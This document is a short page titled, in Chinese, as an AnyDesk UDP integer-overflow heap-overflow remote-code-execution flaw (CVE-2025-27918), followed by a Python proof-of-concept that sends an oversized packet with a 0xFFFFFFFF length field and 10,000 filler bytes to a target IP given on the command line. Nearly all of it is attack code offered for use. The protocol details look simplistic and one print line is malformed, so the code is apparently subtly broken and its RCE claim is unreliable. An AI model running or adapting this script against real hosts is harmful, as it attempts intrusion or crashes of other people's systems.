CVE-2025-27918: AnyDesk UDP整数溢出堆缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-27918 PoC - AnyDesk Integer Overflow Heap Overflow # This PoC demonstrates sending a malicious UDP packet to trigger the vulnerability import socket import struct import sys def create_malicious_packet(): """ Create a malicious UDP packet to trigger integer overflow in AnyDesk's image processing """ # AnyDesk protocol header header = b'ADSP' # AnyDesk Service Protocol # Packet type for identity/image data packet_type = b'\x00\x02' # Image data packet # Trigger integer overflow with large size value # When multiplied or processed, this causes integer overflow malicious_size = struct.pack('<I', 0xFFFFFFFF) # Max uint32 value # Malicious payload that will overflow the heap buffer overflow_data = b'A' * 10000 # Large payload that exceeds allocated buffer # Construct the packet packet = header + packet_type + malicious_size + overflow_data return packet def exploit_anydesk(target_ip, target_port=5001): """ Send malicious packet to AnyDesk client Args: target_ip: Target AnyDesk client IP address target_port: AnyDesk UDP port (default: 5001) """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_malicious_packet() print(f'[+] Sending malicious packet to {target_ip}:{target_port}') sock.sendto(packet, (target_ip, target_port)) print('[+] Packet sent successfully') print('[+] If vulnerable, this should trigger heap overflow and RCE') sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip>') print('Example: python3 {sys.argv[0]} 192.168.1.100') sys.exit(1) target = sys.argv[1] exploit_anydesk(target)